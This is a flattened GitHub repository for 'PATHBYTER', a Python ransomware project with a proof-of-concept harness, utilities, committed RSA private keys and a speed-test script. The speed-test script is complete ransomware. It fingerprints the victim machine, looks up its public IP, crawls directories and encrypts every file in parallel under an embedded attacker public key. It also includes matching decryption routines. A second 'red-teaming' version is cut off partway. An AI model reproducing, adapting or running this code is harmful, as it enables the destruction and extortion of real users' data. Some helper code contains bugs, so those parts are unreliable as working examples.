├── imgs ├── init ├── githubrepo.png ├── pathbyter.png ├── pathbyter2.png ├── pathbyter3.png ├── pathbyter4.png ├── splunktests.png └── chromebookspeedtest.png ├── requirements.txt ├── utils ├── rsa-keygen.py ├── add_rm_suffix.py ├── size.py └── system.py ├── speed-test ├── testfilegenerator.py ├── private.pem └── speedtest.py ├── POC ├── private.pem ├── proofofconcept.py └── pathbyterPOC.py ├── private.pem ├── red-teaming └── pathbyte-v2.py ├── pathbyter.py ├── README.md └── LICENSE /imgs/init: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pycryptodome==3.18.0 2 | -------------------------------------------------------------------------------- /imgs/githubrepo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00wolf/PATHBYTER-Hybrid-Encryption-Ransomware-with-Multiprocessing-in-Python/HEAD/imgs/githubrepo.png -------------------------------------------------------------------------------- /imgs/pathbyter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00wolf/PATHBYTER-Hybrid-Encryption-Ransomware-with-Multiprocessing-in-Python/HEAD/imgs/pathbyter.png -------------------------------------------------------------------------------- /imgs/pathbyter2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00wolf/PATHBYTER-Hybrid-Encryption-Ransomware-with-Multiprocessing-in-Python/HEAD/imgs/pathbyter2.png -------------------------------------------------------------------------------- /imgs/pathbyter3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00wolf/PATHBYTER-Hybrid-Encryption-Ransomware-with-Multiprocessing-in-Python/HEAD/imgs/pathbyter3.png -------------------------------------------------------------------------------- /imgs/pathbyter4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00wolf/PATHBYTER-Hybrid-Encryption-Ransomware-with-Multiprocessing-in-Python/HEAD/imgs/pathbyter4.png -------------------------------------------------------------------------------- /imgs/splunktests.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00wolf/PATHBYTER-Hybrid-Encryption-Ransomware-with-Multiprocessing-in-Python/HEAD/imgs/splunktests.png -------------------------------------------------------------------------------- /imgs/chromebookspeedtest.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00wolf/PATHBYTER-Hybrid-Encryption-Ransomware-with-Multiprocessing-in-Python/HEAD/imgs/chromebookspeedtest.png -------------------------------------------------------------------------------- /utils/rsa-keygen.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | 3 | key = RSA.generate(4096) 4 | private_key = key.export_key() 5 | public_key = key.publickey().export_key() 6 | 7 | with open('private.pem', 'wb') as f: 8 | f.write(private_key) 9 | 10 | with open('public.pem', 'wb') as f: 11 | f.write(public_key) 12 | 13 | print("[+] Public key saved to") 14 | -------------------------------------------------------------------------------- /speed-test/testfilegenerator.py: -------------------------------------------------------------------------------- 1 | file_bytesize = 512 * 1024 2 | message = "You wanted to know who I am, Zero Cool? Well, let me explain the New World Order. Governments and corporations need people like you and me. We are Samurai... the Keyboard Cowboys... and all those other people who have no idea what's going on are the cattle... Moooo. " 3 | x = 0 4 | y = 100000 5 | while x < y: 6 | x += 1 7 | with open(f'helloworld{x}.txt', 'w') as f: 8 | repeat_amount = int((file_bytesize/len(message))) 9 | f.write(message*repeat_amount) 10 | -------------------------------------------------------------------------------- /utils/add_rm_suffix.py: -------------------------------------------------------------------------------- 1 | # ADD/REMOVE suffix from file name. Used to organize the encrypted files which had their RSA wrapped AES decryption keys appended to them. 2 | def add_file_suffix(target_files): 3 | for _file in target_files: 4 | if _file not in IGNORE_FILES: 5 | rename(_file, f'{_file}.crypt') 6 | 7 | return 8 | 9 | 10 | def rm_file_suffix(target_files): 11 | for _file in target_files: 12 | if _file.endswith('.crypt'): 13 | __file = _file.remove('.crypt') 14 | rename(_file, __file) 15 | -------------------------------------------------------------------------------- /utils/size.py: -------------------------------------------------------------------------------- 1 | """This was the test I used to determine the size in bytes of encrypted key and nonce that would be appended to each file. 2 | By determining the size I was able to concat the encoded JSON string to the encrypted file. When it came time to decrypt the file 3 | I could read the entire file into a variable, slice off the correct number of bytes from the end of the file to retreive the JSON string, 4 | and create a new variable which was the file with the last 314 bytes removed.""" 5 | from sys import getsizeof 6 | 7 | def get_size_str_in_bytes(string): 8 | encoded_bytes = string.encode('utf-8') 9 | size_in_bytes = len(encoded_bytes) 10 | 11 | return size_in_bytes 12 | 13 | 14 | def sys_size_str_byres(string): 15 | size_in_bytes = getsizeof(string) - getsizeof("") 16 | 17 | return size_in_bytes 18 | 19 | stringi = b"{'k': 'DaYhWhEu2i1sF44CpBgDIEkA3AoFw20dJy20EwUw135sNj89c7LCli35yfUpoX3/7eDjZfF0TSSNSw2bkXAReu6H9UJDvRWWDryXI5W2+6ztti5/V1vtU2wzUiTASrqSXQLs5J0S99CLR/YLAEfrQzX3L9wVwl+GSu84LXJOqu5+Fop1lEV9+EUF0ibnk8n5idM7ukdBPCRk+z4r+sJLtu712nZk7XqMoZ+C9vhlrzwT+n9ykBS5P3q1IONth8gWjN1lrOndFgfCLHB2rdwhFqniJ2nmKVg3lou0RFQC4xNjaoe8RvnBdjGV0hnhLv4n1JyZf3EuB2tzkPeDjzSRvg==', 'n': 'wViSIgrx/ko='}" 20 | print(get_size_str_in_bytes(stringi.decode())) 21 | 22 | -------------------------------------------------------------------------------- /POC/private.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIJKgIBAAKCAgEAxOiq056Sy3TAIfxNB8t+6oE0hYXFWHh3SMeEOKPZs6uoacGE 3 | KZqHPyFlym86BLbUGekL5zVQ0idV4rEAl0cyJnqeqznvGo2FTOQ8kOQeDYbGBhrf 4 | vFTZqVmcL6XsYoO3/SEjmIjgEqPU+7obmS2uJtQAIHyasB7GJO/yNc3jVTumOLNo 5 | Vw+J3RUY+bHjDd57aw0aP89mw9v+PeRtVeqpa2viy/CbL2P3PqoR4nCABe42CPBA 6 | RD6d37aMbQMyrY8A4avGUmLl03E4KG14VGkaZnWuDVX26mj8f5ZvKzkqR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zcdfrLgNs+zziUo5KQ40CU4dplBJNwGfWPZmCDJFu/ZgKZDpZFmZVSkThp 39 | JmK+reN59LhHPw8npZMjWx9a1TfZnbleolpldx4/gxXev0zalDmfXjK02w8yTl3g 40 | BG5vqwKCAQEA2cD3V+wOhsv1vcZlQW5uS2UThKP6cjZZOjDqpXv6FmU5pty09E2x 41 | +XJNMg4VCZhQ8q8wulE6pkl2o03eBGOp0B14mMdwqrK5njAwWQJJh32ZBU8+RBjn 42 | 8syiveWVlzq4gXabv0VAIJkUAKabxh4pnwlZEflRhEDV/UfBkDE7LoFCG9/ektnU 43 | 6So1oQNBQhhw0PkAD9pI+1Q5+HnadzhyWi5k/W9PLIRIUARAjbLawryVboVie3u6 44 | qDMW1L8HH1V7SCm6ne6u+MNojgLoSqzCdni7m9omwqUKyco2YXtK2c7iIvfldFrB 45 | tRvEWk/KnnbZ6wOkR/cMTB7JB1mxqxTfAQKCAQEAnQHY888wkyQ/K0pfMu4UoFuv 46 | 3BvyOgtXzBjpRxABoW2y2GChRauJ1Pd9kjT1NxS9zFIDXphvHkBYhd+JFOSn/0wD 47 | qgFIn93/H3aCF7LTc2VSWlt8PnNT6vB4Iqnk3fppNtMFy9ijZXSpztIlW68Z2vIe 48 | WaJ3PZxr78BGPu5nfvlzSj22pkk4V6zAsYOykn/zbxCqfv1lW4cRla1u7J1ytdGT 49 | rrfp6BEiBw23AhLA7iheqHFGPeNm9150ugL0YjwRUqTM8NSahXmAr1/3llXnH3In 50 | vCVjxOC+H8XSm5T5xcuz1DuRdhVLUkp5xO0hWhft4C0rQvGxTdo/3auKG+oe/A== 51 | -----END RSA PRIVATE KEY----- 52 | -------------------------------------------------------------------------------- /private.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIJKgIBAAKCAgEAxOiq056Sy3TAIfxNB8t+6oE0hYXFWHh3SMeEOKPZs6uoacGE 3 | KZqHPyFlym86BLbUGekL5zVQ0idV4rEAl0cyJnqeqznvGo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G+oe/A== 51 | -----END RSA PRIVATE KEY----- 52 | -------------------------------------------------------------------------------- /speed-test/private.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIJKgIBAAKCAgEAxOiq056Sy3TAIfxNB8t+6oE0hYXFWHh3SMeEOKPZs6uoacGE 3 | KZqHPyFlym86BLbUGekL5zVQ0idV4rEAl0cyJnqeqznvGo2FTOQ8kOQeDYbGBhrf 4 | vFTZqVmcL6XsYoO3/SEjmIjgEqPU+7obmS2uJtQAIHyasB7GJO/yNc3jVTumOLNo 5 | Vw+J3RUY+bHjDd57aw0aP89mw9v+PeRtVeqpa2viy/CbL2P3PqoR4nCABe42CPBA 6 | RD6d37aMbQMyrY8A4avGUmLl03E4KG14VGkaZnWuDVX26mj8f5ZvKzkqRgysL5FS 7 | l+6UgT+lput/HCYmce1M18pVL82/tGvN1lyQ4S51YR3SX+m8X3qYU+6Lgb7el2vK 8 | ZKcl4MlvIjWQrjGNPfuCAOg+xIaNusYYK/09FDAekiSh5UYlrSX8O5cwvPcNyD8v 9 | zP139KLDt1deCJNOSDhkQTXtbxq84gsWg8tbfvyyWexPo5sJrohPqwA/Appvcbs1 10 | Eczo54KmrxphzKyWz3tonp6y1JWbmg1CORnPq1Duf44leIFHdiF+9xXYHA3qsiTr 11 | hG7sVOf+gw8eqiL00iNQZDt53rOkA2fMb/jS6lS4Iiq1BBDly/pLPJz/Z26r3kCC 12 | zLGj/WlFE4C0mRwlJyan3vHTeJZhZmsHxKgMYZHPaQzARCJfJqBlUB+WimMCAwEA 13 | AQKCAgBg/uefRL604DcAxsK/Mzu6kpjnqQSUVwsTW8zDBdtoiQd1yPCsecVjkLUO 14 | qgmfZtxGQyks5HOCggPpnh1XZ6fJkp90Yx5oKwxd2xQGn4g6S4hiW3yYzgdGR7EL 15 | O6WcxZutYlShf9M4+2Ef+wY7R2hBEi9Z0Wd1mEMs0NG0NU5lnvN7fMzKDgpwUEM0 16 | RK8/Frge/J5Qjn7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3fppNtMFy9ijZXSpztIlW68Z2vIe 48 | WaJ3PZxr78BGPu5nfvlzSj22pkk4V6zAsYOykn/zbxCqfv1lW4cRla1u7J1ytdGT 49 | rrfp6BEiBw23AhLA7iheqHFGPeNm9150ugL0YjwRUqTM8NSahXmAr1/3llXnH3In 50 | vCVjxOC+H8XSm5T5xcuz1DuRdhVLUkp5xO0hWhft4C0rQvGxTdo/3auKG+oe/A== 51 | -----END RSA PRIVATE KEY----- 52 | -------------------------------------------------------------------------------- /utils/system.py: -------------------------------------------------------------------------------- 1 | """A portable class I made for fetching various information about a box. It tests for internet connection, fetchs the public IP if there is a connection, 2 | and on instantiation collects a number of other pieces of information for easy reference. The System class path_crawl method is also very useful.""" 3 | from requests import get 4 | from requests.exceptions import RequestException 5 | from platform import processor, architecture, machine 6 | from platform import system as sys_os 7 | from os import getlogin, cpu_count, system, walk 8 | from os.path import join, expanduser 9 | from uuid import uuid4 10 | 11 | 12 | class System: 13 | def __init__(self): 14 | self.inet_connection = self.__check_inet_connection() 15 | self.pub_ip = self.__get_public_ip() 16 | self.os = sys_os() 17 | self.user = getlogin() 18 | self.home_dir = expanduser('~') 19 | self.cpu = processor() 20 | self.cores = cpu_count() 21 | self.machine_arch = architecture()[0] 22 | self.exec_type = architecture()[1] 23 | self.machine = machine() 24 | 25 | 26 | # Ping Google's DNS server to check for an internet connection 27 | def __check_inet_connection(self): 28 | try: 29 | google_dns = '8.8.8.8' 30 | response = system(f'ping -c 1 {google_dns} >/dev/null') # 31 | if response == 0: 32 | return True 33 | else: 34 | return False 35 | except: 36 | return False 37 | 38 | 39 | # If internet == True, fetch the box's public IP with Ipyify's API 40 | def __get_public_ip(self): 41 | api_uri = 'https://api.ipify.org' 42 | if self.inet_connection == True: 43 | try: 44 | ip = get(api_uri, timeout=3) 45 | except RequestException: 46 | pass 47 | return ip.text 48 | else: 49 | self.pub_ip = '' 50 | 51 | 52 | # For debugging: Print the system class objects attributes to the terminal 53 | def print_attributes(self): 54 | for attribute, value in self.__dict__.items(): 55 | if value == None: 56 | pass 57 | else: 58 | print(f'{attribute}: {value}') 59 | 60 | 61 | # This function recursively crawls a path and returns a list of files. 62 | def path_crawl(self, path=None, ignore_files=None): 63 | file_paths = [] 64 | if path == None: # Set the root path to recursively crawl 65 | path = './' 66 | elif path.tolower() == 'user': # If 'user', recursively crawls os.path.expanduser('~') 67 | path = expanduser('~') 68 | else: 69 | path = path 70 | 71 | if ignore_files: 72 | for root, dirs, files in walk(path): 73 | for f in files: 74 | if f in ignore_files: 75 | pass 76 | else: 77 | f_path = join(root, f) 78 | file_paths.append(f_path) 79 | else: 80 | for root, dirs, files in walk(path): 81 | for f in files: 82 | f_path = join(root, f) 83 | file_paths.append(f_path) 84 | 85 | return file_paths 86 | 87 | 88 | # Returns a dictionary of information about a box in bytes format. 89 | def gen_id_card(self): 90 | _id = uuid4() # Create a unique id. 91 | idcard = {'id': str(_id), 92 | 'pub_ip': self.pub_ip, 93 | 'os': self.os, 94 | 'usr': self.user, 95 | 'machine_arch': self.machine_arch, 96 | 'exec': self.exec_type, 97 | 'timestamp': str(time())} 98 | _idcard = str(idcard).encode() 99 | 100 | return _idcard 101 | -------------------------------------------------------------------------------- /POC/proofofconcept.py: -------------------------------------------------------------------------------- 1 | import json 2 | from os import getpid, remove 3 | from base64 import b64encode, b64decode 4 | 5 | 6 | def __json_loads(): 7 | with open('poc_db.json', 'r') as f: 8 | data = json.loads(f.read()) 9 | 10 | return data 11 | 12 | 13 | def __json_dump(json_db): 14 | with open('poc_db.json', 'w') as f: 15 | json.dump(json_db, f) 16 | 17 | 18 | def init_PoC(): 19 | message = 'Hello World!' 20 | target_files = [] 21 | for i in range(10): 22 | file_name = f'helloworld{i+1}.txt' 23 | target_files.append(file_name) 24 | with open(file_name, 'w') as f: 25 | f.write(message * (i + 1)) 26 | json_string = {'RSA session private keys': {}, 27 | 'dummy file contents': {'before encryption': message, 28 | 'after decryption': ''}} 29 | print("\n[*] POC - Dummy files generated.\n[*] Copying contents of 'helloworld1.txt' to 'poc_db.json'\n") 30 | with open('poc_db.json', 'w') as f: 31 | json.dump(json_string, f) 32 | 33 | return target_files 34 | 35 | 36 | def add_sess_key(rsa_privkey): 37 | b64_privkey = b64encode(rsa_privkey).decode('utf-8') 38 | poc_db = __json_loads() 39 | poc_db['RSA session private keys']['before encryption'] = b64_privkey 40 | __json_dump(poc_db) 41 | print("\n[*] POC - Saving RSA session private key to 'poc_db.json'\n") 42 | 43 | 44 | def add_dec_sess_key(rsa_privkey): 45 | poc_db = __json_loads() 46 | poc_db['RSA session private keys']['after decryption'] = rsa_privkey 47 | __json_dump(poc_db) 48 | print("\n[*] POC - Saving decrypted RSA session private key to 'poc_db.json'\n") 49 | 50 | 51 | def check_file(): 52 | with open('helloworld1.txt', 'r') as f: 53 | message = f.read() 54 | poc_db = __json_loads() 55 | poc_db['dummy file contents']['after decryption'] = message 56 | __json_dump(poc_db) 57 | print("\n[*] POC - Saving contents of decrypted 'helloworld1.txt' to 'poc_db.json'\n") 58 | 59 | 60 | def check_rsa_session_key(): 61 | check = input("\n>> Hit enter to perform checks on the contents of 'poc_db.json'\n") 62 | poc_db = __json_loads() 63 | if poc_db['RSA session private keys']['before encryption'] == \ 64 | str(poc_db['RSA session private keys']['after decryption']): 65 | print('[*] RSA session private key matches entry after decryption: PASS') 66 | else: 67 | print('[*] RSA session private key matches entry after decryption: FAIL') 68 | 69 | 70 | def check_dummy_file_contents(): 71 | poc_db = __json_loads() 72 | if poc_db['dummy file contents']['before encryption'] == \ 73 | poc_db['dummy file contents']['after decryption']: 74 | print('[*] Decrypted file contents match original file contents: PASS') 75 | else: 76 | print('[*] Decrypted file contents match original file contents: FAIL') 77 | 78 | 79 | def print_encrypted_file(file_path): 80 | print(f'[*] File: {file_path} ~ encrypted in process {getpid()}') 81 | 82 | 83 | def add_decrypted_idcard(idcard): 84 | _idcard = eval(idcard) 85 | poc_db = __json_loads() 86 | poc_db['Decrypted ID card:'] = _idcard 87 | __json_dump(poc_db) 88 | 89 | 90 | def print_encrypted_db(): 91 | with open('donotdelete.json', 'r') as f: 92 | encrypted_db = f.read() 93 | print(f"[*] Encrypted JSON Stub:\n{json.dumps(encrypted_db, indent=4)}") 94 | 95 | 96 | def db_dumps(): 97 | with open('poc_db.json', 'r') as f: 98 | data = json.loads(f.read()) 99 | print(json.dumps(data, indent=4)) 100 | 101 | 102 | def clean_up(): 103 | for i in range(10): 104 | file_name = f'helloworld{i+1}.txt' 105 | remove(file_name) 106 | print("\n[*] POC - Deleting dummy files\n") 107 | 108 | 109 | def check_1(): 110 | check = input("[!] Manually check the contents of the 'helloworld1.txt'\n\n>> Hit enter to begin the 'ransomware' attack") 111 | return check 112 | 113 | 114 | def check_2(): 115 | pause = input("[!] Manually check to see that the './helloworld1.txt' is encrypted\n\n>> Hit enter to begin decryption") 116 | return pause 117 | -------------------------------------------------------------------------------- /speed-test/speedtest.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | from Crypto.Cipher import AES, PKCS1_OAEP 3 | from Crypto.Random import get_random_bytes 4 | from Crypto.Util.Padding import pad, unpad 5 | from os import rename, getlogin, cpu_count, system, walk, remove 6 | from os.path import expanduser, join, getsize 7 | from base64 import b64encode, b64decode 8 | from requests import get 9 | from requests.exceptions import RequestException 10 | from multiprocessing import Pool 11 | from platform import processor, architecture, machine 12 | from platform import system as sys_os 13 | from time import time 14 | from json import dump, load, loads 15 | from uuid import uuid4 16 | from sys import argv 17 | 18 | 19 | pathbyter = "50 61 74 68 62 79 74 65 72" 20 | 21 | IGNORE_FILES = ['private.pem', 22 | 'ransompaid.pem', 23 | 'speedtest.py', 24 | 'testfilegenerator.py', 25 | 'donotdelete.json'] 26 | 27 | ATKR_PUBLIC_KEY = """MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAxOiq056Sy3TAIfxNB8t+ 28 | 6oE0hYXFWHh3SMeEOKPZs6uoacGEKZqHPyFlym86BLbUGekL5zVQ0idV4rEAl0cy 29 | JnqeqznvGo2FTOQ8kOQeDYbGBhrfvFTZqVmcL6XsYoO3/SEjmIjgEqPU+7obmS2u 30 | JtQAIHyasB7GJO/yNc3jVTumOLNoVw+J3RUY+bHjDd57aw0aP89mw9v+PeRtVeqp 31 | a2viy/CbL2P3PqoR4nCABe42CPBARD6d37aMbQMyrY8A4avGUmLl03E4KG14VGka 32 | ZnWuDVX26mj8f5ZvKzkqRgysL5FSl+6UgT+lput/HCYmce1M18pVL82/tGvN1lyQ 33 | 4S51YR3SX+m8X3qYU+6Lgb7el2vKZKcl4MlvIjWQrjGNPfuCAOg+xIaNusYYK/09 34 | FDAekiSh5UYlrSX8O5cwvPcNyD8vzP139KLDt1deCJNOSDhkQTXtbxq84gsWg8tb 35 | fvyyWexPo5sJrohPqwA/Appvcbs1Eczo54KmrxphzKyWz3tonp6y1JWbmg1CORnP 36 | q1Duf44leIFHdiF+9xXYHA3qsiTrhG7sVOf+gw8eqiL00iNQZDt53rOkA2fMb/jS 37 | 6lS4Iiq1BBDly/pLPJz/Z26r3kCCzLGj/WlFE4C0mRwlJyan3vHTeJZhZmsHxKgM 38 | YZHPaQzARCJfJqBlUB+WimMCAwEAAQ==""" 39 | 40 | 41 | class System: 42 | def __init__(self): 43 | self.inet_connection = self.__check_inet_connection() 44 | self.pub_ip = self.__get_public_ip() 45 | self.os = sys_os() 46 | self.user = getlogin() 47 | self.home_dir = expanduser('~') 48 | self.cpu = processor() 49 | self.cores = cpu_count() 50 | self.machine_arch = architecture()[0] 51 | self.exec_type = architecture()[1] 52 | self.machine = machine() 53 | 54 | 55 | def __check_inet_connection(self): 56 | try: 57 | google_dns = '8.8.8.8' 58 | response = system(f'ping -c 1 {google_dns} >/dev/null') # 59 | if response == 0: 60 | return True 61 | else: 62 | return False 63 | except: 64 | return False 65 | 66 | 67 | def __get_public_ip(self): 68 | api_uri = 'https://api.ipify.org' 69 | if self.inet_connection == True: 70 | try: 71 | ip = get(api_uri, timeout=3) 72 | except RequestException: 73 | pass 74 | return ip.text 75 | else: 76 | self.pub_ip = '' 77 | 78 | 79 | def path_crawl(self, path=None, ignore_files=None): 80 | file_paths = [] 81 | if path == None: 82 | path = './' 83 | elif path.tolower() == 'user': 84 | path = expanduser('~') 85 | else: 86 | path = path 87 | if ignore_files: 88 | for root, dirs, files in walk(path): 89 | for f in files: 90 | if f in ignore_files: 91 | pass 92 | else: 93 | f_path = join(root, f) 94 | file_paths.append(f_path) 95 | else: 96 | for root, dirs, files in walk(path): 97 | for f in files: 98 | f_path = join(root, f) 99 | file_paths.append(f_path) 100 | 101 | return file_paths 102 | 103 | 104 | def gen_id_card(self): 105 | _id = uuid4() 106 | idcard = {'id': str(_id), 107 | 'pub_ip': self.pub_ip, 108 | 'os': self.os, 109 | 'usr': self.user, 110 | 'machine_arch': self.machine_arch, 111 | 'exec': self.exec_type, 112 | 'timestamp': str(time())} 113 | _idcard = str(idcard).encode() 114 | 115 | return _idcard 116 | 117 | 118 | class Runtime: 119 | def __init__(self): 120 | self.start_time = time() 121 | 122 | 123 | def elapsed_time(self): 124 | print(f'runtime: {time() - self.start_time}\n') 125 | 126 | 127 | def load_rsa_key(rsa_pubkey): 128 | key = b64decode(rsa_pubkey) 129 | rsa_key = RSA.import_key(key) 130 | 131 | return rsa_key 132 | 133 | 134 | def rsa_unwrap_aes(rsa_privkey, wrapped_aeskey): 135 | cipher_rsa = PKCS1_OAEP.new(rsa_privkey) 136 | aeskey = cipher_rsa.decrypt(wrapped_aeskey) 137 | 138 | return aeskey 139 | 140 | 141 | def aescbc_encrypt(rsa_pubkey, data): 142 | sess_aeskey = get_random_bytes(16) 143 | cipher_rsa = PKCS1_OAEP.new(rsa_pubkey) # Wrap the AES key in RSA encryption 144 | rsa_wrapped_aeskey = cipher_rsa.encrypt(sess_aeskey) 145 | rsa_wrapped_aeskey = b64encode(rsa_wrapped_aeskey).decode('utf-8') 146 | 147 | cipher = AES.new(sess_aeskey, AES.MODE_CBC) 148 | cipher_text = cipher.encrypt(pad(data, AES.block_size)) 149 | aes_enc_data = b64encode(cipher_text).decode('utf-8') 150 | iv = b64encode(cipher.iv).decode('utf-8') 151 | 152 | return rsa_wrapped_aeskey, aes_enc_data, iv 153 | 154 | 155 | def aescbc_decrypt(aeskey, iv, enc_data): 156 | cipher = AES.new(aeskey, AES.MODE_CBC, iv) 157 | data = unpad(cipher.decrypt(enc_data), AES.block_size) 158 | 159 | return data 160 | 161 | 162 | def init_attack(idcard, rsa_pubkey): 163 | rsa_wrapped_aeskey, aes_enc_idcard, aescbc_iv = aescbc_encrypt(rsa_pubkey, idcard) 164 | _idcard = {'id': {'RSA wrapped AES key': rsa_wrapped_aeskey, 165 | 'AES encrypted id card': aes_enc_idcard, 166 | 'AES CBC iv': aescbc_iv}} 167 | with open('donotdelete.json', 'w') as f: 168 | dump(_idcard, f) 169 | 170 | 171 | def gen_session_keys(rsa_pubkey): 172 | keys = RSA.generate(2048) 173 | sess_privkey = keys.export_key('DER') 174 | sess_rsa_pubkey = keys.publickey().export_key('DER') 175 | 176 | session_aeskey = get_random_bytes(16) 177 | cipher_rsa = PKCS1_OAEP.new(rsa_pubkey) # Wrap the AES key in RSA encryption 178 | rsa_wrapped_aeskey = b64encode(cipher_rsa.encrypt(session_aeskey)).decode('utf-8') 179 | 180 | cipher = AES.new(session_aeskey, AES.MODE_CBC) 181 | cipher_text = cipher.encrypt(pad(sess_privkey, AES.block_size)) 182 | aes_ct_session_private_key = b64encode(cipher_text).decode('utf-8') 183 | aes_cbc_iv = b64encode(cipher.iv).decode('utf-8') 184 | stub = {'stub': {'RSA wrapped AES key': rsa_wrapped_aeskey, 185 | 'AES encrypted session RSA private key': aes_ct_session_private_key, 186 | 'AES CBC iv': aes_cbc_iv}} 187 | with open('donotdelete.json', 'r+') as f: 188 | json_stub = load(f) 189 | json_stub.update(stub) 190 | with open('donotdelete.json', 'r+') as f: 191 | dump(json_stub, f) 192 | 193 | return sess_rsa_pubkey 194 | 195 | 196 | def exec_attack(file_path): 197 | new_aeskey = get_random_bytes(16) 198 | cipher_rsa = PKCS1_OAEP.new(sess_pubkey) 199 | wrapped_aeskey = cipher_rsa.encrypt(new_aeskey) 200 | 201 | cipher_aes = AES.new(new_aeskey, AES.MODE_CTR) 202 | w_aeskey = b64encode(wrapped_aeskey).decode('utf-8') 203 | nonce = b64encode(cipher_aes.nonce).decode('utf-8') 204 | with open(file_path, 'rb') as f: 205 | data = f.read() 206 | aes_ct = cipher_aes.encrypt(data) 207 | decryption_stub = {'k': w_aeskey, 208 | 'n': nonce} 209 | stub = str(decryption_stub).encode() 210 | with open(file_path, 'wb') as f: 211 | f.write(aes_ct + stub) 212 | 213 | return 0 214 | 215 | 216 | def decrypt_idcard(): 217 | atkr_privkey = RSA.import_key(open('private.pem').read()) 218 | with open('donotdelete.json', 'r') as f: 219 | kvdb = loads(f.read()) 220 | rsa_enc_aeskey = b64decode(kvdb['id']['RSA wrapped AES key']) 221 | aes_enc_idcard = b64decode(kvdb['id']['AES encrypted id card']) 222 | iv = b64decode(kvdb['id']['AES CBC iv']) 223 | aeskey = rsa_unwrap_aes(atkr_privkey, rsa_enc_aeskey) 224 | idcard = aescbc_decrypt(aeskey, iv, aes_enc_idcard) 225 | idcard = idcard.decode() 226 | 227 | return idcard 228 | 229 | 230 | def decrypt_session_privkey(): 231 | atkr_privkey = RSA.import_key(open('private.pem').read()) 232 | with open('donotdelete.json', 'r') as f: 233 | data = loads(f.read()) 234 | wrapped_aes_key = b64decode(data['stub']['RSA wrapped AES key']) 235 | aes_enc_sess_privkey = b64decode(data['stub']['AES encrypted session RSA private key']) 236 | iv = b64decode(data['stub']['AES CBC iv']) 237 | aeskey = rsa_unwrap_aes(atkr_privkey, wrapped_aes_key) 238 | session_rsa_private_key = aescbc_decrypt(aeskey, iv, aes_enc_sess_privkey) 239 | sess_privkey = RSA.import_key(session_rsa_private_key) 240 | with open('ransompaid.pem', 'wb') as f: 241 | f.write(sess_privkey.exportKey('PEM')) 242 | 243 | return session_rsa_private_key 244 | 245 | 246 | def ctrl_z_ransomware(): 247 | with open('ransompaid.pem', 'r') as f: 248 | sess_privkey = RSA.import_key(f.read()) 249 | 250 | for file_path in target_files: 251 | try: 252 | with open(file_path, 'rb') as _f: 253 | f = _f.read() 254 | stub = eval(f[-374:]) 255 | enc_data = f[:-374] 256 | wrapped_aeskey = b64decode(stub['k']) 257 | nonce = b64decode(stub['n']) 258 | cipher_rsa = PKCS1_OAEP.new(sess_privkey) 259 | aeskey = cipher_rsa.decrypt(wrapped_aeskey) 260 | nonce = b64decode(stub['n']) 261 | 262 | cipher = AES.new(aeskey, AES.MODE_CTR, nonce=nonce) 263 | data = cipher.decrypt(enc_data) 264 | with open(file_path, 'wb') as f: 265 | f.write(data) 266 | 267 | except Exception as e: 268 | pass 269 | 270 | 271 | def total_data_encrypted(target_files): 272 | total_bytes = 0 273 | for target_file in target_files: 274 | file_size = getsize(target_file) 275 | total_bytes += file_size 276 | return total_bytes 277 | 278 | 279 | if __name__ == '__main__': 280 | victim_system = System() 281 | atkr_pubkey = load_rsa_key(ATKR_PUBLIC_KEY) 282 | victim_id = victim_system.gen_id_card() 283 | target_files = victim_system.path_crawl(path=None, ignore_files=IGNORE_FILES) 284 | init_attack(victim_id, atkr_pubkey) 285 | sess_rsa_pubkey = gen_session_keys(atkr_pubkey) 286 | sess_pubkey = RSA.import_key(sess_rsa_pubkey) 287 | runtime = Runtime() 288 | with Pool(victim_system.cores) as pool: 289 | result = pool.map_async(exec_attack, target_files) 290 | pool.close() 291 | pool.join() 292 | print('\n'*40 + pathbyter + '\n') 293 | 294 | runtime.elapsed_time() 295 | print("[*] Target files have been encrypted") 296 | print(f"[*] Total files encrypted: {len(target_files)}") 297 | print(f"[*] Total bytes encrypted: {total_data_encrypted(target_files)}") 298 | cont = input("\n\n\n[!] Begin decryption?\n>> ") 299 | idcard = decrypt_idcard() 300 | idcard = eval(idcard) 301 | sess_privkey = decrypt_session_privkey() 302 | ctrl_z_ransomware() 303 | 304 | # remove(argv[0]) # Pathybyter: the snake that eats its own tail 305 | -------------------------------------------------------------------------------- /red-teaming/pathbyte-v2.py: -------------------------------------------------------------------------------- 1 | # Streamlined code (less function calls) and some simple argv tooling. 2 | from Crypto.PublicKey import RSA 3 | from Crypto.Cipher import AES, PKCS1_OAEP 4 | from Crypto.Random import get_random_bytes 5 | from Crypto.Util.Padding import pad, unpad 6 | from os import rename, getlogin, cpu_count, system, walk, remove 7 | from os.path import expanduser, join 8 | from base64 import b64encode, b64decode 9 | from requests import get 10 | from requests.exceptions import RequestException 11 | from multiprocessing import Pool 12 | from platform import processor, architecture, machine 13 | from platform import system as sys_os 14 | from time import time 15 | from json import dump, dumps, load, loads 16 | from uuid import uuid4 17 | from sys import argv 18 | 19 | pathbyter = "50 61 74 68 62 79 74 65 72" 20 | 21 | 22 | IGNORE_FILES = ['private.pem', 23 | 'ransompaid.pem', 24 | 'pathbyter-v2.py', 25 | 'system.py', 26 | 'donotdelete.json'] 27 | 28 | ATKR_PUBLIC_KEY = """MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAxOiq056Sy3TAIfxNB8t+ 29 | 6oE0hYXFWHh3SMeEOKPZs6uoacGEKZqHPyFlym86BLbUGekL5zVQ0idV4rEAl0cy 30 | 